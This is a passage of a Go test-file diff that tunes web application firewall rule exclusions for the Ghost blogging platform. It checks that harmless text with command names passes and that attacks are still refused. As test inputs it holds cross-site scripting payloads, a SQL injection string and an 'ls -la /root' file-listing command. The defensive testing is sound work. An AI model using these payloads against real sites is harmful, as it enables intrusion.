ghostTiers,
|
||||||
|
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostOffers,
|
||||||
|
`{"offers":[{"display_description":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostRecommended,
|
||||||
|
`{"recommendations":[{"title":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostRecommended,
|
||||||
|
`{"recommendations":[{"description":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostRecommended,
|
||||||
|
`{"recommendations":[{"excerpt":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/integrations/",
|
||||||
|
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/webhooks/",
|
||||||
|
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
|
||||||
|
// A feature image's alt text and caption.
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostPost,
|
||||||
|
`{"posts":[{"feature_image_caption":` +
|
||||||
|
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
|
||||||
|
|
||||||
|
// A member's comment, written and edited.
|
||||||
|
ghostNewComment,
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostComments + "6af5426ae56ecb0001938894/",
|
||||||
|
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
||||||
|
},
|
||||||
|
|
||||||
|
// ActivityPub: a note, a reply, the description of their image, and the
|
||||||
|
// account.
|
||||||
|
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
||||||
|
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
||||||
|
{http.MethodPost, ghostNote, ghostNoteImage},
|
||||||
|
{http.MethodPost, ghostReply, ghostNoteImage},
|
||||||
|
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
||||||
|
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
||||||
|
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a struct
|
||||||
|
var ghostNewComment = ghostField{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostComments,
|
||||||
|
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostComment is the HTML of an ordinary comment, with a link.
|
||||||
|
const ghostComment = `Try <strong>python3</strong>, then ` +
|
||||||
|
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
||||||
|
|
||||||
|
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
|
||||||
|
// image, with VALUE as the image's description.
|
||||||
|
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
|
||||||
|
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
|
||||||
|
|
||||||
|
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
||||||
|
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
||||||
|
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
||||||
|
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
|
||||||
|
|
||||||
// ghostMemberName is the body that saves a member's name at /members/api/.
|
// ghostMemberName is the body that saves a member's name at /members/api/.
|
||||||
const ghostMemberName = `{"name":"VALUE"}`
|
const ghostMemberName = `{"name":"VALUE"}`
|
||||||
|
|
||||||
@@ -135,6 +251,8 @@ var ghostAddressFields = []ghostField{
|
|||||||
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
||||||
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
||||||
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
|
||||||
{
|
{
|
||||||
http.MethodPost,
|
http.MethodPost,
|
||||||
ghostPasswordReset,
|
ghostPasswordReset,
|
||||||
@@ -143,6 +261,43 @@ var ghostAddressFields = []ghostField{
|
|||||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
|
||||||
|
// sends as an @ followed by an address, with no spaces. They skip 930120 and
|
||||||
|
// 932120.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostHandleFields = []ghostField{
|
||||||
|
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
|
||||||
|
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
|
||||||
|
// skip 930120, 932120 and 932260.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostDomainFields = []ghostField{
|
||||||
|
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
|
||||||
|
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
|
||||||
|
// address of an account removed from those that move here in ActivityPub.
|
||||||
|
// They skip 930120 and 932120, as url does.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostURLFields = []ghostField{
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||||
|
`{"tags":[{"canonical_url":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
|
||||||
|
}
|
||||||
|
|
||||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||||
// <script> element by 900366.
|
// <script> element by 900366.
|
||||||
//
|
//
|
||||||
@@ -183,8 +338,8 @@ var ghostArticleFields = slices.Concat(
|
|||||||
ghostSnippetAndNewsletterFooterFields,
|
ghostSnippetAndNewsletterFooterFields,
|
||||||
)
|
)
|
||||||
|
|
||||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
|
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
|
||||||
// and take a <script> element by 900366.
|
// and 900378, and take a <script> element by 900366 and 900378.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostCodeFields = []ghostField{
|
var ghostCodeFields = []ghostField{
|
||||||
@@ -203,6 +358,16 @@ var ghostCodeFields = []ghostField{
|
|||||||
`{"settings":[{"key":"title","value":"Blog"},` +
|
`{"settings":[{"key":"title","value":"Blog"},` +
|
||||||
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostTags,
|
||||||
|
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
||||||
|
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
// The query fields that skip some rules, each ending in "=".
|
// The query fields that skip some rules, each ending in "=".
|
||||||
@@ -211,22 +376,50 @@ const (
|
|||||||
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
||||||
ghostSearch = ghostMembers + "?limit=100&search="
|
ghostSearch = ghostMembers + "?limit=100&search="
|
||||||
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
||||||
|
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
|
||||||
|
ghostPathname = ghostStats + "&pathname="
|
||||||
|
ghostSource = ghostStats + "&source="
|
||||||
|
ghostCampaign = ghostStats + "&utm_campaign="
|
||||||
|
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
|
||||||
|
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
|
||||||
|
ghostInvitedEmail = ghostInvitation + "?email="
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
|
||||||
|
// analytics, each ending in "=".
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostAnalyticsFilters = []string{
|
||||||
|
ghostSource,
|
||||||
|
ghostStats + "&utm_source=",
|
||||||
|
ghostStats + "&utm_medium=",
|
||||||
|
ghostCampaign,
|
||||||
|
ghostStats + "&utm_content=",
|
||||||
|
ghostStats + "&utm_term=",
|
||||||
|
}
|
||||||
|
|
||||||
// ghostQueryFields are the query fields that skip some rules.
|
// ghostQueryFields are the query fields that skip some rules.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostQueryFields = []string{
|
var ghostQueryFields = []string{
|
||||||
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||||
|
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
|
||||||
|
ghostAccountSearch, ghostInvitedEmail,
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostURLs are addresses 930120 and 932120 refused in url.
|
// ghostCommandNames joins two command names, as an ordinary title can.
|
||||||
|
const ghostCommandNames = "powershell & python3"
|
||||||
|
|
||||||
|
// ghostURLs are addresses 930120 and 932120 refused in url and in
|
||||||
|
// ghostURLFields.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostURLs = []string{
|
var ghostURLs = []string{
|
||||||
"https://github.com/example/site/blob/main/.htaccess",
|
"https://github.com/example/site/blob/main/.htaccess",
|
||||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||||
"https://example.com/docs/python3/",
|
"https://example.com/docs/python3/",
|
||||||
|
"https://example.com/blog/powershell/",
|
||||||
|
"https://example.com/blog/.htaccess/",
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||||
@@ -238,6 +431,15 @@ var ghostAddresses = []string{
|
|||||||
"dave.powershell@example.com",
|
"dave.powershell@example.com",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ghostDomains are domains 930120, 932120 and 932260 refused.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostDomains = []string{
|
||||||
|
"erin.htaccess.example.com",
|
||||||
|
"python3.example.com",
|
||||||
|
"powershell.example.com",
|
||||||
|
}
|
||||||
|
|
||||||
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
||||||
// embed, which each of the rules of 900355 refused.
|
// embed, which each of the rules of 900355 refused.
|
||||||
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
||||||
@@ -327,14 +529,24 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
for _, address := range ghostURLs {
|
for _, address := range ghostURLs {
|
||||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||||
|
|
||||||
|
for _, f := range ghostURLFields {
|
||||||
|
wantGhostField(t, f, address, false)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, address := range ghostAddresses {
|
for _, address := range ghostAddresses {
|
||||||
for _, f := range ghostAddressFields {
|
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
|
||||||
wantGhostField(t, f, address, false)
|
wantGhostField(t, f, address, false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for _, domain := range ghostDomains {
|
||||||
|
for _, f := range ghostDomainFields {
|
||||||
|
wantGhostField(t, f, domain, false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
for _, f := range ghostArticleFields {
|
for _, f := range ghostArticleFields {
|
||||||
wantGhostField(t, f, ghostArticle, false)
|
wantGhostField(t, f, ghostArticle, false)
|
||||||
}
|
}
|
||||||
@@ -343,6 +555,14 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
wantGhostField(t, f, ghostCodeInjection, false)
|
wantGhostField(t, f, ghostCodeInjection, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
wantGhostField(t, ghostNewComment, ghostComment, false)
|
||||||
|
wantGhostField(
|
||||||
|
t,
|
||||||
|
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
|
||||||
|
"A terminal running ls -la on .htaccess with python3",
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
|
||||||
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
||||||
url.QueryEscape(
|
url.QueryEscape(
|
||||||
"tag:powershell+status:[draft,scheduled,published,sent]",
|
"tag:powershell+status:[draft,scheduled,published,sent]",
|
||||||
@@ -376,7 +596,8 @@ func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
|||||||
wantGhostField(t, f, ghostWidget, false)
|
wantGhostField(t, f, ghostWidget, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Site code injection, saved in settings, and a post's or a page's own.
|
// Site code injection, saved in settings, and a post's, a page's or a
|
||||||
|
// tag's own.
|
||||||
for _, f := range ghostCodeFields {
|
for _, f := range ghostCodeFields {
|
||||||
wantGhostField(t, f, ghostAnalytics, false)
|
wantGhostField(t, f, ghostAnalytics, false)
|
||||||
}
|
}
|
||||||
@@ -395,6 +616,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
for _, attack := range ghostAttacks {
|
for _, attack := range ghostAttacks {
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
|
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||||
ghostArticleFields, ghostCodeFields) {
|
ghostArticleFields, ghostCodeFields) {
|
||||||
wantGhostField(t, f, attack, true)
|
wantGhostField(t, f, attack, true)
|
||||||
}
|
}
|
||||||
@@ -407,6 +629,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
// A script injection stays refused in every field that does not take a
|
// A script injection stays refused in every field that does not take a
|
||||||
// <script> element.
|
// <script> element.
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
|
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
||||||
ghostSnippetAndNewsletterFooterFields) {
|
ghostSnippetAndNewsletterFooterFields) {
|
||||||
wantGhostField(t, f, scriptTag, true)
|
wantGhostField(t, f, scriptTag, true)
|
||||||
}
|
}
|
||||||
@@ -415,13 +638,19 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
||||||
}
|
}
|
||||||
|
|
||||||
// A command after a separator stays refused wherever its rules do not
|
// A command after a separator stays refused wherever 932235 does not
|
||||||
// misfire: in the query fields, the plain text and the addresses.
|
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
// url, pathname, email_segment and email. The other fields skip 932235,
|
||||||
|
// which refuses "powershell & python3" as it refuses this.
|
||||||
|
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
||||||
|
ghostDomainFields, ghostURLFields) {
|
||||||
wantGhostField(t, f, commandAfterASeparator, true)
|
wantGhostField(t, f, commandAfterASeparator, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, target := range ghostQueryFields {
|
for _, target := range []string{
|
||||||
|
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
|
||||||
|
ghostInvitedEmail,
|
||||||
|
} {
|
||||||
wantGhostQuery(
|
wantGhostQuery(
|
||||||
t,
|
t,
|
||||||
target+url.QueryEscape(commandAfterASeparator),
|
target+url.QueryEscape(commandAfterASeparator),
|
||||||
@@ -429,6 +658,15 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A comment keeps the rules for scripts and HTML.
|
||||||
|
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
|
||||||
|
wantGhostField(
|
||||||
|
t,
|
||||||
|
ghostNewComment,
|
||||||
|
`<a href="javascript:alert(1)">x</a>`,
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
|
||||||
// The articles and code injection carry HTML on purpose, but a
|
// The articles and code injection carry HTML on purpose, but a
|
||||||
// javascript: link is still refused there, and a script element in
|
// javascript: link is still refused there, and a script element in
|
||||||
// snippets and a newsletter's footer.
|
// snippets and a newsletter's footer.
|
||||||
@@ -440,12 +678,138 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
// An address keeps 932250, which refuses a listing of files.
|
// An address and the domain keep 932250, which refuses a listing of
|
||||||
for _, f := range ghostAddressFields {
|
// files. A handle keeps it too, but its @ comes before any command.
|
||||||
|
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
|
||||||
wantGhostField(t, f, "ls -la /root", true)
|
wantGhostField(t, f, "ls -la /root", true)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// The site's title, saved through settings.
|
||||||
|
siteTitle := ghostField{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostSettings,
|
||||||
|
`{"settings":[{"key":"title","value":"VALUE"}]}`,
|
||||||
|
}
|
||||||
|
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
||||||
|
|
||||||
|
// Values that join two command names, as a person types them.
|
||||||
|
for _, typed := range []string{
|
||||||
|
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
||||||
|
"ls -la & python3",
|
||||||
|
} {
|
||||||
|
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
||||||
|
wantGhostField(t, f, typed, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantGhostImportLabel(t, ghostImport, typed, false)
|
||||||
|
|
||||||
|
for _, target := range slices.Concat(
|
||||||
|
ghostAnalyticsFilters,
|
||||||
|
[]string{ghostAccountSearch},
|
||||||
|
) {
|
||||||
|
wantGhostQuery(t, target+url.QueryEscape(typed), false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// filter as the admin's post picker writes it, after a person types
|
||||||
|
// such a title.
|
||||||
|
filter := "status:published+title:~'" + typed + "'"
|
||||||
|
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
|
||||||
|
// pages, email_segment, the search of ActivityPub and the check of an
|
||||||
|
// invitation.
|
||||||
|
func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, encoded := range hardValues {
|
||||||
|
value, _ := url.QueryUnescape(encoded)
|
||||||
|
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
||||||
|
|
||||||
|
for _, target := range ghostAnalyticsFilters {
|
||||||
|
wantGhostQuery(t, target+encoded, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantGhostQuery(t, ghostCampaign+text, false)
|
||||||
|
wantGhostQuery(t, ghostAccountSearch+text, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// pathname, the page the analytics show: a post and two tag pages.
|
||||||
|
for _, path := range []string{
|
||||||
|
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
|
||||||
|
} {
|
||||||
|
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantGhostQuery(
|
||||||
|
t,
|
||||||
|
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
wantGhostQuery(
|
||||||
|
t,
|
||||||
|
ghostAccountSearch+"%40powershell%40example.com",
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, segment := range []string{
|
||||||
|
"label:powershell-users", "label:python3", "label:ls-la",
|
||||||
|
"label:htaccess", "status:free,tier:powershell-club",
|
||||||
|
} {
|
||||||
|
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, address := range ghostAddresses {
|
||||||
|
wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
|
||||||
|
// refuses label, sent as labels in a CSV import to target, or lets it
|
||||||
|
// through.
|
||||||
|
func wantGhostImportLabel(
|
||||||
|
t *testing.T, target, label string, refused bool,
|
||||||
|
) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
r := request{http.MethodPost, target, []string{multipart}}
|
||||||
|
body := field("labels", label) + field("mapping[email]", "email") + end
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
||||||
|
if refused && got.Score < ghostThreshold {
|
||||||
|
t.Errorf("labels=%q at %s let through: %+v", label, target, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !refused && got.Score >= ghostThreshold {
|
||||||
|
t.Errorf("labels=%q at %s refused: %+v", label, target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGhostImportLabelsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, encoded := range hardValues {
|
||||||
|
value, _ := url.QueryUnescape(encoded)
|
||||||
|
wantGhostImportLabel(t, ghostImport, value+" import", false)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
|
||||||
|
|
||||||
|
for _, attack := range ghostAttacks {
|
||||||
|
wantGhostImportLabel(t, ghostImport, attack, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
// labels keeps its rules on other paths, and when the query has a field
|
||||||
|
// of the same name.
|
||||||
|
wantGhostImportLabel(t, ghostMembers, "python3 import", true)
|
||||||
|
wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
|
||||||
|
}
|
||||||
|
|
||||||
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -462,6 +826,8 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||||
|
pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
for _, refused := range []struct{ target, body string }{
|
||||||
@@ -481,7 +847,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
||||||
},
|
},
|
||||||
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
||||||
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
|
||||||
{ghostPosts, email},
|
{ghostPosts, email},
|
||||||
{ghostMembers, email},
|
{ghostMembers, email},
|
||||||
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
||||||
@@ -498,6 +863,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||||
{ghostPosts, userEmail},
|
{ghostPosts, userEmail},
|
||||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||||
|
{"/api/posts/1/", postURL},
|
||||||
|
{ghostMembers, postURL},
|
||||||
|
{ghostPage, postURL},
|
||||||
|
{ghostPost + "?json.posts.0.canonical_url=x", postURL},
|
||||||
|
{ghostPost, pageURL},
|
||||||
|
{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
|
||||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||||
@@ -533,6 +904,7 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
|||||||
script = `<script defer src=\"/script.js\"></script>`
|
script = `<script defer src=\"/script.js\"></script>`
|
||||||
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
||||||
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
||||||
|
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
for _, refused := range []struct{ target, body string }{
|
||||||
@@ -542,6 +914,8 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
|
|||||||
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
